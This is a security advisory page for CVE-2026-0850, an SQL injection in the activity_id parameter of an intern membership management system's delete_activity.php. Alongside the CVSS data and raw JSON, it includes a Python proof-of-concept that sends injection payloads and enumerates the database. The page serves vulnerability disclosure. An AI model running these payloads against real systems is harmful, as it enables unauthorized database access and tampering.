Security Vulnerability Report
中文
CVE-2026-0850 CVSS 4.7 MEDIUM

CVE-2026-0850

Published: 2026-01-11 23:15:46
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was determined in code-projects Intern Membership Management System 1.0. Impacted is an unknown function of the file /admin/delete_activity.php. Executing a manipulation of the argument activity_id can lead to sql injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:carmelo:intern_membership_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Intern Membership Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0850 SQL Injection PoC # Target: /admin/delete_activity.php # Parameter: activity_id import requests target_url = "http://target.com/admin/delete_activity.php" # Basic SQL Injection PoC - Boolean Based def test_sql_injection(): # Normal request normal_data = {"activity_id": "1"} # SQL Injection payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3--", "1' AND SLEEP(5)--", "1' OR 1=1 LIMIT 1--" ] for payload in payloads: data = {"activity_id": payload} try: response = requests.post(target_url, data=data, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response Length: {len(response.text)}") print("---") except requests.exceptions.RequestException as e: print(f"Error: {e}") # Database Enumeration PoC def enumerate_database(): # Extract database version version_payload = "1' UNION SELECT 1,version(),3--" data = {"activity_id": version_payload} response = requests.post(target_url, data=data) print(f"Database Version: {response.text}") # Extract current database db_payload = "1' UNION SELECT 1,database(),3--" data = {"activity_id": db_payload} response = requests.post(target_url, data=data) print(f"Current Database: {response.text}") if __name__ == "__main__": test_sql_injection()

References

Raw JSON Data

JSON
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El exploit ha sido divulgado públicamente y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:carmelo:intern_membership_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "88D4A3D1-C585-45AA-BFF9-FAEA515181FD"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/xkalami-Tta0/CVE/blob/main/Intern%20Membership%20Management%20System/Intern%20Membership%20Management%20System%20delete_activity.php%20sql%20injection.md", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://vuldb.com/?ctiid.340445", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.340445", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://v ... 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